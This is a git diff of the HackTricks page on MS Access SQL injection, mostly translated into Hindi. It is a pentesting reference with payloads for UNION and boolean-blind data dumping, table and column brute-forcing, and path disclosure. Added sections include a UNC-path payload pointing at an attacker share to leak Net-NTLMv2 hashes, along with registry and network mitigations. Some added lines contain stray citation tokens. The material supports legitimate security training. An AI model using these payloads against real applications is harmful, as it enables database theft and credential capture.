mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/sql-injection/ms-access-sql-injection.md
This commit is contained in:
parent
aaa0b0f8ef
commit
77e3f9b7c7
@ -4,7 +4,7 @@
|
||||
|
||||
## Online Playground
|
||||
|
||||
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
|
||||
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
|
||||
|
||||
## DB Limitations
|
||||
|
||||
@ -17,7 +17,7 @@
|
||||
```
|
||||
### टिप्पणियाँ
|
||||
|
||||
MS Access में कोई टिप्पणियाँ नहीं हैं, लेकिन स्पष्ट रूप से एक NULL कैरेक्टर के साथ एक क्वेरी के अंतिम को हटाना संभव है:
|
||||
MS Access में कोई टिप्पणियाँ नहीं हैं, लेकिन स्पष्ट रूप से एक NULL चर के साथ एक क्वेरी के अंतिम को हटाना संभव है:
|
||||
```sql
|
||||
1' union select 1,2 from table%00
|
||||
```
|
||||
@ -31,17 +31,17 @@ MS Access में कोई टिप्पणियाँ नहीं है
|
||||
|
||||
### LIMIT
|
||||
|
||||
**`LIMIT`** ऑपरेटर **कार्यान्वित नहीं है**। हालाँकि, SELECT क्वेरी परिणामों को **पहले N तालिका पंक्तियों तक सीमित करना संभव है `TOP` ऑपरेटर का उपयोग करके**। `TOP` एक पूर्णांक को तर्क के रूप में स्वीकार करता है, जो लौटाई जाने वाली पंक्तियों की संख्या का प्रतिनिधित्व करता है।
|
||||
**`LIMIT`** ऑपरेटर **क्रियान्वित नहीं किया गया है**। हालाँकि, SELECT क्वेरी परिणामों को **पहले N तालिका पंक्तियों तक सीमित करना संभव है `TOP` ऑपरेटर का उपयोग करके**। `TOP` एक पूर्णांक को तर्क के रूप में स्वीकार करता है, जो लौटाई जाने वाली पंक्तियों की संख्या का प्रतिनिधित्व करता है।
|
||||
```sql
|
||||
1' UNION SELECT TOP 3 attr FROM table%00
|
||||
```
|
||||
जैसे TOP, आप **`LAST`** का उपयोग कर सकते हैं जो **अंत से पंक्तियाँ प्राप्त करेगा**।
|
||||
बस TOP की तरह आप **`LAST`** का उपयोग कर सकते हैं जो **अंत से पंक्तियाँ प्राप्त करेगा**।
|
||||
|
||||
## UNION Queries/Sub queries
|
||||
|
||||
SQLi में, आप आमतौर पर किसी न किसी तरह से एक नया क्वेरी निष्पादित करना चाहेंगे ताकि अन्य तालिकाओं से जानकारी निकाली जा सके। MS Access हमेशा यह आवश्यक करता है कि **उप-प्रश्नों या अतिरिक्त प्रश्नों में `FROM` को इंगित किया जाए**।\
|
||||
तो, यदि आप `UNION SELECT` या `UNION ALL SELECT` या एक शर्त में कोष्ठक के बीच `SELECT` निष्पादित करना चाहते हैं, तो आपको हमेशा **एक मान्य तालिका नाम के साथ `FROM` को इंगित करने की आवश्यकता होती है**।\
|
||||
इसलिए, आपको एक **मान्य तालिका नाम** जानने की आवश्यकता है।
|
||||
एक SQLi में आप आमतौर पर किसी न किसी तरह से एक नया क्वेरी निष्पादित करना चाहेंगे ताकि अन्य तालिकाओं से जानकारी निकाली जा सके। MS Access हमेशा यह आवश्यक करता है कि **उप-प्रश्नों या अतिरिक्त प्रश्नों में एक `FROM` निर्दिष्ट किया जाए**।\
|
||||
तो, यदि आप `UNION SELECT` या `UNION ALL SELECT` या एक `SELECT` को एक स्थिति में कोष्ठक के बीच निष्पादित करना चाहते हैं, तो आपको हमेशा **एक मान्य तालिका नाम के साथ एक `FROM` निर्दिष्ट करने की आवश्यकता होती है**।\
|
||||
इसलिए, आपको एक **मान्य तालिका नाम** जानना आवश्यक है।
|
||||
```sql
|
||||
-1' UNION SELECT username,password from users%00
|
||||
```
|
||||
@ -50,21 +50,21 @@ SQLi में, आप आमतौर पर किसी न किसी त
|
||||
> [!WARNING]
|
||||
> यह आपको वर्तमान तालिका के मानों को निकालने की अनुमति देगा बिना तालिका के नाम को जाने।
|
||||
|
||||
**MS Access** अजीब **सिंटैक्स** की अनुमति देता है जैसे **`'1'=2='3'='asd'=false`**। जैसा कि आमतौर पर SQL injection एक **`WHERE`** क्लॉज के अंदर होगा, हम इसका दुरुपयोग कर सकते हैं।
|
||||
**MS Access** अजीब **सिंटैक्स** की अनुमति देता है जैसे **`'1'=2='3'='asd'=false`**। जैसा कि आमतौर पर SQL इंजेक्शन एक **`WHERE`** क्लॉज के अंदर होगा, हम इसका दुरुपयोग कर सकते हैं।
|
||||
|
||||
कल्पना करें कि आपके पास एक MS Access डेटाबेस में SQLi है और आप जानते हैं (या अनुमान लगाते हैं) कि एक **कॉलम का नाम username** है, और यही वह फ़ील्ड है जिसे आप **exfiltrate** करना चाहते हैं। आप चेनिंग इक्वल्स तकनीक का उपयोग करते समय वेब ऐप की विभिन्न प्रतिक्रियाओं की जांच कर सकते हैं और संभावित रूप से **`Mid`** फ़ंक्शन का उपयोग करके सबस्ट्रिंग प्राप्त करने के लिए **boolean injection** के साथ सामग्री निकाल सकते हैं।
|
||||
कल्पना करें कि आपके पास एक MS Access डेटाबेस में SQLi है और आप जानते हैं (या अनुमान लगाते हैं) कि एक **कॉलम का नाम username** है, और यही वह फ़ील्ड है जिसे आप **निकालना** चाहते हैं। आप चेनिंग इक्वल्स तकनीक का उपयोग करते समय वेब ऐप की विभिन्न प्रतिक्रियाओं की जांच कर सकते हैं और संभावित रूप से **`Mid`** फ़ंक्शन का उपयोग करके सबस्ट्रिंग प्राप्त करने के लिए **बूलियन इंजेक्शन** के साथ सामग्री निकाल सकते हैं।
|
||||
```sql
|
||||
'=(Mid(username,1,3)='adm')='
|
||||
```
|
||||
यदि आप **तालिका का नाम** और **कॉलम** जानते हैं जिसे डंप करना है, तो आप `Mid`, `LAST` और `TOP` के बीच एक संयोजन का उपयोग कर सकते हैं ताकि **सभी जानकारी लीक** की जा सके बूलियन SQLi के माध्यम से:
|
||||
यदि आप **टेबल का नाम** और **कॉलम** जानते हैं जिसे डंप करना है, तो आप `Mid`, `LAST` और `TOP` के बीच एक संयोजन का उपयोग कर सकते हैं ताकि **सभी जानकारी लीक** की जा सके बूलियन SQLi के माध्यम से:
|
||||
```sql
|
||||
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
||||
```
|
||||
_इसका ऑनलाइन प्लेग्राउंड में जांचने के लिए स्वतंत्र महसूस करें।_
|
||||
_Feel free to check this in the online playground._
|
||||
|
||||
### टेबल नामों का ब्रूट-फोर्सिंग
|
||||
### Brute-forcing Tables names
|
||||
|
||||
चेनिंग इक्वल्स तकनीक का उपयोग करके आप कुछ इस तरह से **टेबल नामों का ब्रूट-फोर्स** भी कर सकते हैं:
|
||||
चेनिंग इक्वल्स तकनीक का उपयोग करके आप कुछ इस तरह से **टेबल नामों को ब्रूटफोर्स** कर सकते हैं:
|
||||
```sql
|
||||
'=(select+top+1+'lala'+from+<table_name>)='
|
||||
```
|
||||
@ -72,12 +72,12 @@ _इसका ऑनलाइन प्लेग्राउंड में ज
|
||||
```sql
|
||||
-1' AND (SELECT TOP 1 <table_name>)%00
|
||||
```
|
||||
_इसे ऑनलाइन प्लेग्राउंड में जांचने के लिए स्वतंत्र महसूस करें।_
|
||||
_इसका ऑनलाइन प्लेग्राउंड में जांचने के लिए स्वतंत्र महसूस करें।_
|
||||
|
||||
- Sqlmap सामान्य तालिका नाम: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) में एक और सूची है
|
||||
|
||||
### ब्रूट-फोर्सिंग कॉलम नाम
|
||||
### कॉलम नामों का ब्रूट-फोर्सिंग
|
||||
|
||||
आप **चेनिंग बराबर ट्रिक** के साथ वर्तमान कॉलम नामों को **ब्रूट-फोर्स** कर सकते हैं:
|
||||
```sql
|
||||
@ -93,30 +93,40 @@ _इसे ऑनलाइन प्लेग्राउंड में जा
|
||||
|
||||
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
|
||||
```
|
||||
### डेटा डंप करना
|
||||
### Dumping data
|
||||
|
||||
हमने पहले ही [**चेनिंग इक्वल्स तकनीक**](ms-access-sql-injection.md#chaining-equals-+-substring) **से वर्तमान और अन्य तालिकाओं से डेटा डंप करने** पर चर्चा की है। लेकिन अन्य तरीके भी हैं:
|
||||
हम पहले ही [**चेनिंग इक्वल्स तकनीक**](ms-access-sql-injection.md#chaining-equals-+-substring) **से वर्तमान और अन्य तालिकाओं से डेटा निकालने** पर चर्चा कर चुके हैं। लेकिन अन्य तरीके भी हैं:
|
||||
```sql
|
||||
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
||||
```
|
||||
संक्षेप में, क्वेरी एक "if-then" कथन का उपयोग करती है ताकि सफलता की स्थिति में "200 OK" या अन्यथा "500 Internal Error" को ट्रिगर किया जा सके। TOP 10 ऑपरेटर का लाभ उठाते हुए, पहले दस परिणामों का चयन करना संभव है। LAST का बाद में उपयोग केवल 10वें ट्यूपल पर विचार करने की अनुमति देता है। ऐसे मान पर, MID ऑपरेटर का उपयोग करके, एक सरल वर्ण तुलना करना संभव है। MID और TOP के इंडेक्स को सही ढंग से बदलकर, हम सभी पंक्तियों के "username" फ़ील्ड की सामग्री को डंप कर सकते हैं।
|
||||
संक्षेप में, क्वेरी एक "if-then" कथन का उपयोग करती है ताकि सफलता की स्थिति में "200 OK" या अन्यथा "500 Internal Error" को ट्रिगर किया जा सके। TOP 10 ऑपरेटर का लाभ उठाते हुए, पहले दस परिणामों का चयन करना संभव है। LAST का बाद का उपयोग केवल 10वें ट्यूपल पर विचार करने की अनुमति देता है। ऐसे मान पर, MID ऑपरेटर का उपयोग करके, एक साधारण वर्ण तुलना करना संभव है। MID और TOP के इंडेक्स को सही ढंग से बदलकर, हम सभी पंक्तियों के "username" फ़ील्ड की सामग्री को डंप कर सकते हैं।
|
||||
|
||||
### Time Based
|
||||
### Time-Based (Blind) Tricks
|
||||
|
||||
Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
|
||||
Jet/ACE SQL स्वयं एक मूल `SLEEP()` या `WAITFOR` फ़ंक्शन को **प्रकट** नहीं करता है, इसलिए पारंपरिक समय-आधारित ब्लाइंड इंजेक्शन सीमित हैं। हालाँकि, आप अभी भी एक मापनीय देरी पेश कर सकते हैं, जिससे इंजन को एक **नेटवर्क संसाधन तक पहुँचने के लिए मजबूर किया जाता है जो धीमा है या उत्तर नहीं देता**। क्योंकि इंजन परिणाम लौटाने से पहले फ़ाइल खोलने की कोशिश करेगा, HTTP प्रतिक्रिया समय हमलावर-नियंत्रित होस्ट तक राउंड-ट्रिप विलंबता को दर्शाता है।
|
||||
```sql
|
||||
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
|
||||
```
|
||||
UNC पथ को इंगित करें:
|
||||
|
||||
### Other Interesting functions
|
||||
* एक SMB शेयर जो उच्च-लेटेंसी लिंक के पीछे है
|
||||
* एक होस्ट जो `SYN-ACK` के बाद TCP हैंडशेक को ड्रॉप करता है
|
||||
* एक फ़ायरवॉल सिंकहोल
|
||||
|
||||
- `Mid('admin',1,1)` स्थिति 1 से लंबाई 1 का उपस्ट्रिंग प्राप्त करें (प्रारंभिक स्थिति 1 है)
|
||||
दूरस्थ लुकअप द्वारा पेश किए गए अतिरिक्त सेकंड को **आउट-ऑफ-बैंड टाइमिंग ओरेकल** के रूप में उपयोग किया जा सकता है बूलियन स्थितियों के लिए (जैसे, केवल तब धीमा पथ चुनें जब इंजेक्ट किया गया प्रीडिकेट सत्य हो)। Microsoft दूरस्थ डेटाबेस व्यवहार और संबंधित रजिस्ट्री किल-स्विच को KB5002984 में दस्तावेज करता है। citeturn1search0
|
||||
|
||||
### अन्य दिलचस्प कार्य
|
||||
|
||||
- `Mid('admin',1,1)` स्थिति 1 से सबस्ट्रिंग प्राप्त करें लंबाई 1 (प्रारंभिक स्थिति 1 है)
|
||||
- `LEN('1234')` स्ट्रिंग की लंबाई प्राप्त करें
|
||||
- `ASC('A')` वर्ण का ASCII मान प्राप्त करें
|
||||
- `CHR(65)` ASCII मान से स्ट्रिंग प्राप्त करें
|
||||
- `IIF(1=1,'a','b')` यदि तब
|
||||
- `COUNT(*)` आइटम की संख्या गिनें
|
||||
|
||||
## Enumerating tables
|
||||
## तालिकाओं की गणना करना
|
||||
|
||||
From [**here**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) you can see a query to get tables names:
|
||||
[**यहां**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) आप तालिका नाम प्राप्त करने के लिए एक क्वेरी देख सकते हैं:
|
||||
```sql
|
||||
select MSysObjects.name
|
||||
from MSysObjects
|
||||
@ -126,7 +136,7 @@ and MSysObjects.name not like '~*'
|
||||
and MSysObjects.name not like 'MSys*'
|
||||
order by MSysObjects.name
|
||||
```
|
||||
हालांकि, ध्यान दें कि SQL इनजेक्शन पाना बहुत सामान्य है जहाँ आपके पास **`MSysObjects`** तालिका को पढ़ने का एक्सेस नहीं है।
|
||||
हालांकि, ध्यान दें कि SQL Injections पाना बहुत सामान्य है जहाँ आपके पास **`MSysObjects`` तालिका को पढ़ने का एक्सेस नहीं है**।
|
||||
|
||||
## फ़ाइल सिस्टम एक्सेस
|
||||
|
||||
@ -134,7 +144,7 @@ order by MSysObjects.name
|
||||
|
||||
**वेब रूट का पूर्ण पथ जानने से आगे के हमलों में मदद मिल सकती है**। यदि एप्लिकेशन की त्रुटियाँ पूरी तरह से छिपी नहीं हैं, तो एक गैर-मौजूद डेटाबेस से डेटा चुनने की कोशिश करते समय डायरेक्टरी पथ का पता लगाया जा सकता है।
|
||||
|
||||
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||||
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||||
|
||||
MS Access एक **त्रुटि संदेश के साथ प्रतिक्रिया करता है जिसमें वेब डायरेक्टरी का पूर्ण पथ होता है**।
|
||||
|
||||
@ -154,14 +164,47 @@ MS Access एक **त्रुटि संदेश के साथ प्र
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
||||
|
||||
जहाँ **name\[i] एक .mdb फ़ाइल नाम** है और **realTable डेटाबेस के भीतर एक मौजूदा तालिका है**। हालांकि MS Access हमेशा एक त्रुटि संदेश उत्पन्न करेगा, लेकिन अमान्य फ़ाइल नाम और मान्य .mdb फ़ाइल नाम के बीच अंतर करना संभव है।
|
||||
जहाँ **name[i] एक .mdb फ़ाइल नाम है** और **realTable डेटाबेस के भीतर एक मौजूदा तालिका है**। हालांकि MS Access हमेशा एक त्रुटि संदेश उत्पन्न करेगा, लेकिन अमान्य फ़ाइल नाम और मान्य .mdb फ़ाइल नाम के बीच अंतर करना संभव है।
|
||||
|
||||
### दूरस्थ डेटाबेस एक्सेस और NTLM क्रेडेंशियल चोरी (2023)
|
||||
|
||||
चूंकि Jet 4.0, हर क्वेरी एक *विभिन्न* `.mdb/.accdb` फ़ाइल में स्थित तालिका को `IN '<path>'` क्लॉज के माध्यम से संदर्भित कर सकती है:
|
||||
```sql
|
||||
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
|
||||
```
|
||||
यदि उपयोगकर्ता इनपुट को **IN** के बाद के भाग में (या `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` कॉल में) जोड़ा जाता है, तो एक हमलावर एक **UNC पथ** निर्दिष्ट कर सकता है जो एक होस्ट की ओर इशारा करता है जिसे वे नियंत्रित करते हैं। इंजन:
|
||||
|
||||
1. दूरस्थ डेटाबेस को खोलने के लिए SMB / HTTP के माध्यम से प्रमाणीकरण करने की कोशिश करेगा;
|
||||
2. वेब-सर्वर के **NTLM क्रेडेंशियल्स** लीक करेगा (बाध्य प्रमाणीकरण);
|
||||
3. दूरस्थ फ़ाइल को पार्स करेगा - एक गलत या दुर्भावनापूर्ण डेटाबेस Jet/ACE मेमोरी-करप्शन बग को ट्रिगर कर सकता है जो कई बार पैच किए गए हैं (जैसे CVE-2021-28455)।
|
||||
|
||||
व्यावहारिक इंजेक्शन उदाहरण:
|
||||
```sql
|
||||
1' UNION SELECT TOP 1 name
|
||||
FROM MSysObjects
|
||||
IN '\\attacker\share\poc.mdb'-- -
|
||||
```
|
||||
Impact:
|
||||
|
||||
* Net-NTLMv2 हैश का आउट-ऑफ-बैंड एक्सफिल्ट्रेशन (जो रिले या ऑफलाइन क्रैकिंग के लिए उपयोगी है)।
|
||||
* यदि एक नया Jet/ACE पार्सर बग का शोषण किया जाता है तो संभावित रिमोट कोड निष्पादन।
|
||||
|
||||
Mitigations (विरासत Classic ASP ऐप्स के लिए भी अनुशंसित):
|
||||
|
||||
* `HKLM\Software\Microsoft\Jet\4.0\Engines` के तहत `AllowQueryRemoteTables = 0` रजिस्ट्री मान जोड़ें (और समकक्ष ACE पथ के तहत)। यह Jet/ACE को `\\` से शुरू होने वाले रिमोट पथों को अस्वीकार करने के लिए मजबूर करता है।
|
||||
* नेटवर्क सीमा पर आउटबाउंड SMB/WebDAV को ब्लॉक करें।
|
||||
* किसी भी क्वेरी के उस भाग को साफ करें / पैरामीटर करें जो `IN` क्लॉज के अंदर समाप्त हो सकता है।
|
||||
|
||||
फोर्स्ड-ऑथेंटिकेशन वेक्टर को Check Point Research द्वारा 2023 में फिर से देखा गया, यह साबित करते हुए कि यह पूरी तरह से पैच किए गए Windows Server पर अभी भी शोषण योग्य है जब रजिस्ट्री कुंजी अनुपस्थित है। citeturn0search0
|
||||
|
||||
### .mdb पासवर्ड क्रैकर
|
||||
|
||||
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) एक मुफ्त उपयोगिता है जिसका उपयोग Microsoft Access 95/97/2000/XP या Jet Database Engine 3.0/4.0 का मुख्य डेटाबेस पासवर्ड पुनर्प्राप्त करने के लिए किया जा सकता है।
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
- [Microsoft KB5002984 – Jet/ACE को रिमोट टेबल्स को ब्लॉक करने के लिए कॉन्फ़िगर करना](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
|
||||
- [Check Point Research – NTLM फोर्स्ड ऑथेंटिकेशन के लिए Microsoft Access लिंक्ड टेबल्स का दुरुपयोग (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user